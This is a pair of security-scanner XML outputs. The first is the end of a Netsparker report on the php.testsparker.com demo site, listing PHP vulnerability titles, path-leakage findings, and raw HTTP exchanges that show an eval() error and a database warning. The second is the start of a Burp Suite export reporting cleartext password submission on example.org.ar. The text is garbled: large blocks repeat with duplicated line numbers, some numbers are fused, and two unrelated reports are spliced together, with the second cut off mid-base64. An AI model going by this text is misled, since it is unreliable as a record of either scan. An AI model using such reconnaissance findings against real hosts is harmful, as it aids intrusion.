6757 <knownvulnerability>
6758 <title>PHP Versions Prior to 5.3.7 Multiple Security Vulnerabilities</title>
6759 <severity>Medium</severity>
6760 </knownvulnerability>
6761 <knownvulnerability>
6762 <title>PHP 'ZipArchive::addGlob' and 'ZipArchive::addPattern' Denial Of Service Vulnerabilities</title>
6763 <severity>Important</severity>
6764 </knownvulnerability>
6765 <knownvulnerability>
6766 <title>PHP 'proc_open()' 'safe_mode_protected_env_var' Restriction-Bypass Vulnerability</title>
6767 <severity>Low</severity>
6768 </knownvulnerability>
6769 <knownvulnerability>
6770 <title>PHP 'SplObjectStorage' Unserializer Arbitrary Code Execution Vulnerability</title>
6771 <severity>Low</severity>
6772 </knownvulnerability>
6773 <knownvulnerability>
6774 <title>PHP 'ext/imap/php_imap.c' Use After Free Denial of Service Vulnerability</title>
6775 <severity>Important</severity>
6776 </knownvulnerability>
6777 <knownvulnerability>
6778 <title>PHP ZipArchive::getArchiveComment() NULL Pointer Dereference Denial Of Service Vulnerability</title>
6779 <severity>Important</severity>
6780 </knownvulnerability>
6781 <knownvulnerability>
6782 <title>PHP 'zend_strtod()' Function Floating-Point Value Denial of Service Vulnerability</title>
6783 <severity>Important</severity>
6784 </knownvulnerability>
6785 <knownvulnerability>
6786 <title>PHP Multiple NULL Pointer Dereference Denial Of Service Vulnerabilities</title>
6787 <severity>Important</severity>
6788 </knownvulnerability>
6789 <knownvulnerability>
6790 <title>PHP 'crypt' Function Buffer Overflow Vulnerability</title>
6791 <severity>Low</severity>
6792 </knownvulnerability>
6793 <knownvulnerability>
6794 <title>PHP 'error_log' Function Denial of Service Vulnerability</title>
6795 <severity>Important</severity>
6796 </knownvulnerability>
6797 <knownvulnerability>
6798 <title>PHP 'var_export' Function Remote Information Disclosure Vulnerability </title>
6799 <severity>Important</severity>
6800 </knownvulnerability>
6801 <knownvulnerability>
6802 <title>PHP 'strrchr' Function Information Disclosure Vulnerability</title>
6803 <severity>Important</severity>
6804 </knownvulnerability>
6805 <knownvulnerability>
6806 <title>PHP 'fnmatch' Function Stack Consumption Vulnerability</title>
6807 <severity>Important</severity>
6808 </knownvulnerability>
6809 <knownvulnerability>
6810 <title>PHP Zend Engine Use-after-free Heap Corruption Vulnerability</title>
6811 <severity>Medium</severity>
6812 </knownvulnerability>
6813 <knownvulnerability>
6814 <title>PHP GD Extension 'imagepstext()' Function Stack Buffer Overflow Vulnerability</title>
6815 <severity>Medium</severity>
6816 </knownvulnerability>
6817 <knownvulnerability>
6818 <title>PHP 'EXTR_OVERWRITE' Security Bypass Vulnerability</title>
6819 <severity>Important</severity>
6820 </knownvulnerability>
6821 <knownvulnerability>
6822 <title>PHP 'mt_rand' Function Integer Overflow Vulnerability</title>
6823 <severity>Important</severity>
6824 </knownvulnerability>
6825 <knownvulnerability>
6826 <title>PHP 'iconv' Module 'iconv_mime_decode_headers()' Function Security-Bypass Vulnerability</title>
6827 <severity>Important</severity>
6828 </knownvulnerability>
6829 <knownvulnerability>
6830 <title>PHP LCG Entropy Security Vulnerability</title>
6831 <severity>Medium</severity>
6832 </knownvulnerability>
6833 <knownvulnerability>
6834 <title>PHP 'session_save_path()' safe_mode Restriction Bypass Vulnerability</title>
6835 <severity>Important</severity>
6836 </knownvulnerability>
6837 <knownvulnerability>
6838 <title>PHP 'sqlite_single_query()' and 'sqlite_array_query()' Arbitrary Code Execution Vulnerabilities</title>
6839 <severity>Low</severity>
6840 </knownvulnerability>
6841 <knownvulnerability>
6842 <title>PHP 'tempnam()' 'safe_mode' Validation Restriction-Bypass Vulnerability</title>
6843 <severity>Low</severity>
6844 </knownvulnerability>
6845 <knownvulnerability>
6846 <title>PHP Unrestricted Temporary File Creation Vulnerability</title>
6847 <severity>Important</severity>
6848 </knownvulnerability>
6849 <knownvulnerability>
6850 <title>PHP 'posix_mkfifo()' 'open_basedir' Bypass Vulnerability</title>
6851 <severity>Medium</severity>
6852 </knownvulnerability>
6853 <knownvulnerability>
6854 <title>PHP 'ini_restore()' Memory Information Disclosure Vulnerability</title>
6855 <severity>Medium</severity>
6856 </knownvulnerability>
6857 <knownvulnerability>
6858 <title>PHP Web Form Hash Collision Denial Of Service Vulnerability</title>
6859 <severity>Medium</severity>
6860 </knownvulnerability>
6861 <knownvulnerability>
6862 <title>PHP 'phar_parse_tarfile' Integer Overflow Vulnerability</title>
6863 <severity>Important</severity>
6864 </knownvulnerability>
6865 <knownvulnerability>
6866 <title>PHP '_php_stream_scandir' Overflow Vulnerability</title>
6867 <severity>Important</severity>
6868 </knownvulnerability>
6869 <knownvulnerability>
6870 <title>PHP 'com_print_typeinfo' Buffer Overflow Vulnerability</title>
6871 <severity>Important</severity>
6872 </knownvulnerability>
6873 <knownvulnerability>
6874 <title>PHP 'php-cgi' Command Line Argument Injection Vulnerability</title>
6875 <severity>Important</severity>
6876 </knownvulnerability>
6877 <knownvulnerability>
6878 <title>PHP File Upload Denial of Service Vulnerability</title>
6879 <severity>Important</severity>
6880 </knownvulnerability>
6881 <knownvulnerability>
6882 <title>PHP 'magic_quotes_gpc' Bypass Vulnerability</title>
6883 <severity>Low</severity>
6884 </knownvulnerability>
6885 <knownvulnerability>
6886 <title>PHP Multiple Remote Vulnerabilities</title>
6887 <severity>Important</severity>
6888 </knownvulnerability>
6889 <knownvulnerability>
6890 <title>PHP Multiple Remote Vulnerabilities in SOAP Parser</title>
6891 <severity>Low</severity>
6892 </knownvulnerability>
6893 <knownvulnerability>
6894 <title>PHP Heap Based Buffer Overflow Vulnerability</title>
6895 <severity>Low</severity>
6896 </knownvulnerability>
6897 <knownvulnerability>
6898 <title>PHP Integer Overflow and Denial of Service Vulnerability</title>
6899 <severity>Low</severity>
6900 </knownvulnerability>
6901 </knownvulnerabilities>
6902 </vulnerability>
6903 <vulnerability confirmed="False">
6904 <url>http://php.testsparker.com/hello.php?name=Visitor</url>
6905 <type>PossibleInternalWindowsPathLeakage</type>
6906 <severity>Information</severity>
6907 <certainty>75</certainty>
6908
6909 <rawrequest><![CDATA[GET /hello.php?name=Visitor HTTP/1.1
6910 Cache-Control: no-cache
6911 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
6912 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6913 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6914 X-Scanner: Netsparker
6915 Accept-Language: en-us,en;q=0.5
6916 Host: php.testsparker.com
6917 Accept-Encoding: gzip, deflate
6918
6919 ]]></rawrequest>
6920 <rawresponse><![CDATA[HTTP/1.1 200 OK
6921 Date: Fri, 29 Nov 2013 11:25:50 GMT
6922 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6923 X-Powered-By: PHP/5.2.6
6924 Content-Length: 2874
6925 Content-Type: text/html
6926
6927
6928 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
6929 <html xmlns="http://www.w3.org/1999/xhtml">
6930 <head>
6931 <meta name="keywords" content="" />
6932 <meta name="description" content="" />
6933 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
6934 <title>Netsparker Test Web Site - PHP</title>
6935 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
6936 </head><body>
6937 <div id="wrapper">
6938
6939 <div id="menu">
6940 <ul>
6941 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
6942 <li><a href="hello.php?name=Visitor">Hello</a></li>
6943 <li><a href="products.php?pro=url">Products</a></li>
6944 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
6945 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
6946 <li><a href="auth/">Login</a></li>
6947 </ul>
6948 </div>
6949 <!-- end #menu -->
6950 <div id="header">
6951
6952 </div>
6953 <!-- end #header --> <div id="page">
6954 <div id="page-bgtop">
6955 <div id="page-bgbtm">
6956 <div id="content">
6957 <div class="post">
6958 <h1 class="title"><a href="#">Hello Service </a></h1>
6959 <p>
69606960 Hello Visitor<br />
69616961 <b>Parse error</b>: syntax error, unexpected T_STRING in <b>C:\AppServ\www\hello.php(24) : eval()'d code</b> on line <b>1</b><br />
6962 20$str = 20 Visitor;20 </p>
6963
6964 <div style="clear: both;">&nbsp;</div>
6965 <div class="entry">
6966
6967
6968 </div>
6969 </div>
6970 <div style="clear: both;">&nbsp;</div>
6971 </div>
6972 <!-- end #content -->
6973
6974 <div id="sidebar">
6975 <ul>
6976 <li>
6977 <div id="search" >
6978 <form method="get" action="artist.php">
6979 <div>
6980 <input type="text" name="s" id="search-text" value="" />
6981 <input type="submit" id="search-submit" value="GO" />
6982 </div>
6983 </form>
6984
6985 </div>
6986 <div style="clear: both;">&nbsp;</div>
6987 </li>
6988 <li>
6989 <h2>Tags</h2>
6990 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
6991 </li>
6992 <li>
6993 <h2>Inner Pages</h2>
6994 <ul>
6995 <li><a href="artist.php?id=test">Artist Search</a></li>
6996 <li><a href="nslookup.php">Lookup Service</a></li>
6997 </ul>
6998 </li>
6999 <li>
7000 <h2>Links</h2>
7001 <ul>
7002 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
7003 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
7004 </ul>
7005 </li>
7006 </ul>
7007 </div> <!-- end #sidebar -->
7008 <div style="clear: both;">&nbsp;</div>
7009 </div>
7010 </div>
7011 </div>
7012 <!-- end #page -->
7013 </div>
7014 v
7015 <div id="footer">
7016 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
7017 </div> <!-- end #footer -->
7018 </body>
7019 </html>
7020 ]]></rawresponse>
7021 <extrainformation>
7022 <info name="Identified Internal Path(s)"><![CDATA[C:\AppServ\www\hello.php]]></info>
7023 </extrainformation>
7024
7025 <classification>
7026 <OWASP></OWASP>
7027 <WASC>13</WASC>
7028 <CWE>200</CWE>
7029 <CAPEC>118</CAPEC>
7030 <PCI>6.5.6</PCI>
7031 <PCI2></PCI2>
7032 </classification>
7033
7034 </vulnerability>
7035 <vulnerability confirmed="False">
7036 <url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
7037 <type>PossibleInternalWindowsPathLeakage</type>
7038 <severity>Information</severity>
7039 <certainty>75</certainty>
7040
7041 <rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
7042 Cache-Control: no-cache
7043 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
7044 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
7045 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
7046 X-Scanner: Netsparker
7047 Accept-Language: en-us,en;q=0.5
7048 Host: php.testsparker.com
7049 Accept-Encoding: gzip, deflate
7050
7051 ]]></rawrequest>
7052 <rawresponse><![CDATA[HTTP/1.1 200 OK
7053 Date: Fri, 29 Nov 2013 11:25:51 GMT
7054 Server: Apache/2.2.8 (Win32) PHP/5.2.6
7055 X-Powered-By: PHP/5.2.6
7056 Content-Length: 3327
7057 Content-Type: text/html
7058
7059
7060 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
7061 <html xmlns="http://www.w3.org/1999/xhtml">
7062 <head>
7063 <meta name="keywords" content="" />
7064 <meta name="description" content="" />
7065 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
7066 <title>Netsparker Test Web Site - PHP</title>
7067 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
7068 </head><body>
7069 <div id="wrapper">
7070
7071 <div id="menu">
7072 <ul>
7073 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
7074 <li><a href="hello.php?name=Visitor">Hello</a></li>
7075 <li><a href="products.php?pro=url">Products</a></li>
7076 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
7077 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
7078 <li><a href="auth/">Login</a></li>
7079 </ul>
7080 </div>
7081 <!-- end #menu -->
7082 <div id="header">
7083
7084 </div>
7085 <!-- end #header -->
7086 <div id="page">
7087 <div id="page-bgtop">
7088 <div id="page-bgbtm">
7089 <div id="content">
7090 <div class="post">
7091
7092 <div class="entry">
7093 <h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
7094 <p>This is a test and demonstration site for Netsparker , Next Generation Web
7095 Application Security Scanner.
7096 <p>
7097 This testing web site contains a lot of vulnerabilities on different vulnerability classes.
7098 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
7099 </p>
7100
7101 </div>
7102 </div>
7103 <div style="clear: both;">&nbsp;</div>
7104 </div>
7105 <!-- end #content -->
7106
7107 <div id="sidebar">
7108 <ul>
7109 <li>
7110 <div id="search" >
7111 <form method="get" action="artist.php">
7112 <div>
7113 <input type="text" name="s" id="search-text" value="" />
7114 <input type="submit" id="search-submit" value="GO" />
7115 </div>
7116 </form>
7117
7118 </div>
7119 <div style="clear: both;">&nbsp;</div>
7120 </li>
7121 <li>
7122 <h2>Tags</h2>
7123 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
7124 </li>
7125 <li>
7126 <h2>Inner Pages</h2>
7127 <ul>
7128 <li><a href="artist.php?id=test">Artist Search</a></li>
7129 <li><a href="nslookup.php">Lookup Service</a></li>
7130 </ul>
7131 </li>
7132 <li>
7133 <h2>Links</h2>
7134 <ul>
7135 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
7136 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
7137 </ul>
7138 </li>
7139 </ul>
7140 </div> <!-- end #sidebar -->
7141 <div style="clear: both;">&nbsp;</div>
7142 </div>
7143 </div>
7144 </div>
7145
6962 20$str = 20 Visitor;20 </p>
6963
6964 <div style="clear: both;">&nbsp;</div>
6965 <div class="entry">
6966
6967
6968 </div>
6969 </div>
6970 <div style="clear: both;">&nbsp;</div>
6971 </div>
6972 <!-- end #content -->
6973
6974 <div id="sidebar">
6975 <ul>
6976 <li>
6977 <div id="search" >
6978 <form method="get" action="artist.php">
6979 <div>
6980 <input type="text" name="s" id="search-text" value="" />
6981 <input type="submit" id="search-submit" value="GO" />
6982 </div>
6983 </form>
6984
6985 </div>
6986 <div style="clear: both;">&nbsp;</div>
6987 </li>
6988 <li>
6989 <h2>Tags</h2>
6990 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
6991 </li>
6992 <li>
6993 <h2>Inner Pages</h2>
6994 <ul>
6995 <li><a href="artist.php?id=test">Artist Search</a></li>
6996 <li><a href="nslookup.php">Lookup Service</a></li>
6997 </ul>
6998 </li>
6999 <li>
7000 <h2>Links</h2>
7001 <ul>
7002 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
7003 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
7004 </ul>
7005 </li>
7006 </ul>
7007 </div> <!-- end #sidebar -->
7008 <div style="clear: both;">&nbsp;</div>
7009 </div>
7010 </div>
7011 </div>
7012 <!-- end #page -->
7013 </div>
7014 v
7015 <div id="footer">
7016 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
7017 </div> <!-- end #footer -->
7018 </body>
7019 </html>
7020 ]]></rawresponse>
7021 <extrainformation>
7022 <info name="Identified Internal Path(s)"><![CDATA[C:\AppServ\www\hello.php]]></info>
7023 </extrainformation>
7024
7025 <classification>
7026 <OWASP></OWASP>
7027 <WASC>13</WASC>
7028 <CWE>200</CWE>
7029 <CAPEC>118</CAPEC>
7030 <PCI>6.5.6</PCI>
7031 <PCI2></PCI2>
7032 </classification>
7033
7034 </vulnerability>
7035 <vulnerability confirmed="False">
7036 <url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
7037 <type>PossibleInternalWindowsPathLeakage</type>
7038 <severity>Information</severity>
7039 <certainty>75</certainty>
7040
7041 <rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
7042 Cache-Control: no-cache
7043 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
7044 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
7045 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
7046 X-Scanner: Netsparker
7047 Accept-Language: en-us,en;q=0.5
7048 Host: php.testsparker.com
7049 Accept-Encoding: gzip, deflate
7050
7051 ]]></rawrequest>
7052 <rawresponse><![CDATA[HTTP/1.1 200 OK
7053 Date: Fri, 29 Nov 2013 11:25:51 GMT
7054 Server: Apache/2.2.8 (Win32) PHP/5.2.6
7055 X-Powered-By: PHP/5.2.6
7056 Content-Length: 3327
7057 Content-Type: text/html
7058
7059
7060 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
7061 <html xmlns="http://www.w3.org/1999/xhtml">
7062 <head>
7063 <meta name="keywords" content="" />
7064 <meta name="description" content="" />
7065 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
7066 <title>Netsparker Test Web Site - PHP</title>
7067 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
7068 </head><body>
7069 <div id="wrapper">
7070
7071 <div id="menu">
7072 <ul>
7073 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
7074 <li><a href="hello.php?name=Visitor">Hello</a></li>
7075 <li><a href="products.php?pro=url">Products</a></li>
7076 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
7077 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
7078 <li><a href="auth/">Login</a></li>
7079 </ul>
7080 </div>
7081 <!-- end #menu -->
7082 <div id="header">
7083
7084 </div>
7085 <!-- end #header -->
7086 <div id="page">
7087 <div id="page-bgtop">
7088 <div id="page-bgbtm">
7089 <div id="content">
7090 <div class="post">
7091
7092 <div class="entry">
7093 <h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
7094 <p>This is a test and demonstration site for Netsparker , Next Generation Web
7095 Application Security Scanner.
7096 <p>
7097 This testing web site contains a lot of vulnerabilities on different vulnerability classes.
7098 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
7099 </p>
7100
7101 </div>
7102 </div>
7103 <div style="clear: both;">&nbsp;</div>
7104 </div>
7105 <!-- end #content -->
7106
7107 <div id="sidebar">
7108 <ul>
7109 <li>
7110 <div id="search" >
7111 <form method="get" action="artist.php">
7112 <div>
7113 <input type="text" name="s" id="search-text" value="" />
7114 <input type="submit" id="search-submit" value="GO" />
7115 </div>
7116 </form>
7117
7118 </div>
7119 <div style="clear: both;">&nbsp;</div>
7120 </li>
7121 <li>
7122 <h2>Tags</h2>
7123 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
7124 </li>
7125 <li>
7126 <h2>Inner Pages</h2>
7127 <ul>
7128 <li><a href="artist.php?id=test">Artist Search</a></li>
7129 <li><a href="nslookup.php">Lookup Service</a></li>
7130 </ul>
7131 </li>
7132 <li>
7133 <h2>Links</h2>
7134 <ul>
7135 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
7136 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
7137 </ul>
7138 </li>
7139 </ul>
7140 </div> <!-- end #sidebar -->
7141 <div style="clear: both;">&nbsp;</div>
7142 </div>
7143 </div>
7144 </div>
7145
71467146 <br />
71477147 <b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b><br />
7148 asd <!-- process.php load pages from path of the website. -->
7149 <!-- FIXME: File / directory permissions -->
7150 <!-- end #page -->
7151 </div>
7152
7153 <div id="footer">
7154 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
7155 </div> <!-- end #footer -->
7156 </body>
7157 </html>
7158 ]]></rawresponse>
7159 <extrainformation>
7160 <info name="Identified Internal Path(s)"><![CDATA[C:\AppServ\www\Generics\about.nsp]]></info>
7161 </extrainformation>
7162
7163 <classification>
7164 <OWASP></OWASP>
7165 <WASC>13</WASC>
7166 <CWE>200</CWE>
7167 <CAPEC>118</CAPEC>
7168 <PCI>6.5.6</PCI>
7169 <PCI2></PCI2>
7170 </classification>
7171
7172 </vulnerability>
7173
7148 asd <!-- process.php load pages from path of the website. -->
7149 <!-- FIXME: File / directory permissions -->
7150 <!-- end #page -->
7151 </div>
7152
7153 <div id="footer">
7154 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
7155 </div> <!-- end #footer -->
7156 </body>
7157 </html>
7158 ]]></rawresponse>
7159 <extrainformation>
7160 <info name="Identified Internal Path(s)"><![CDATA[C:\AppServ\www\Generics\about.nsp]]></info>
7161 </extrainformation>
7162
7163 <classification>
7164 <OWASP></OWASP>
7165 <WASC>13</WASC>
7166 <CWE>200</CWE>
7167 <CAPEC>118</CAPEC>
7168 <PCI>6.5.6</PCI>
7169 <PCI2></PCI2>
7170 </classification>
7171
7172 </vulnerability>
7173
71747174 </netsparker>
0 <?xml version="1.0"?>
1 <!DOCTYPE issues [
2 <!ELEMENT issues (issue*)>
3 <!ATTLIST issues burpVersion CDATA "">
4 <!ATTLIST issues exportTime CDATA "">
5 <!ELEMENT issue (serialNumber, type, name, host, path, location, severity, confidence, issueBackground?, remediationBackground?, issueDetail?, remediationDetail?, requestresponse*)>
6 <!ELEMENT serialNumber (#PCDATA)>
7 <!ELEMENT type (#PCDATA)>
8 <!ELEMENT name (#PCDATA)>
9 <!ELEMENT host (#PCDATA)>
10 <!ATTLIST host ip CDATA "">
11 <!ELEMENT path (#PCDATA)>
12 <!ELEMENT location (#PCDATA)>
13 <!ELEMENT severity (#PCDATA)>
14 <!ELEMENT confidence (#PCDATA)>
15 <!ELEMENT issueBackground (#PCDATA)>
16 <!ELEMENT remediationBackground (#PCDATA)>
17 <!ELEMENT issueDetail (#PCDATA)>
18 <!ELEMENT remediationDetail (#PCDATA)>
19 <!ELEMENT requestresponse (request?, response?, responseRedirected?)>
20 <!ELEMENT request (#PCDATA)>
21 <!ATTLIST request base64 (true|false) "false">
22 <!ELEMENT response (#PCDATA)>
23 <!ATTLIST response base64 (true|false) "false">
24 <!ELEMENT responseRedirected (#PCDATA)>
25 ]>
26 <issues burpVersion="1.5.18" exportTime="Thu Nov 07 15:19:06 GMT-03:00 2013">
27 <issue>
28 <serialNumber>382887018676354048</serialNumber>
29 <type>3145984</type>
30 <name>Cleartext submission of password</name>
31 <host ip="200.20.20.201">http://www.example.org.ar</host>
32 <path><![CDATA[/index.php]]></path>
33 <location><![CDATA[/index.php]]></location>
34 <severity>High</severity>
35 <confidence>Certain</confidence>
36 <issueBackground><![CDATA[Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches. ]]></issueBackground>
37 <remediationBackground><![CDATA[The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.]]></remediationBackground>
38 <issueDetail><![CDATA[The page contains a form with the following action URL, which is submitted over clear-text HTTP:<ul><li>http://www.example.org.ar/login.php</li></ul>The form contains the following password field:<ul><li>pass</li></ul>]]></issueDetail>
39 <requestresponse>
40 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHAgSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMCkNCkNvbm5lY3Rpb246IGNsb3NlDQoNCg==]]></request>
41 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udG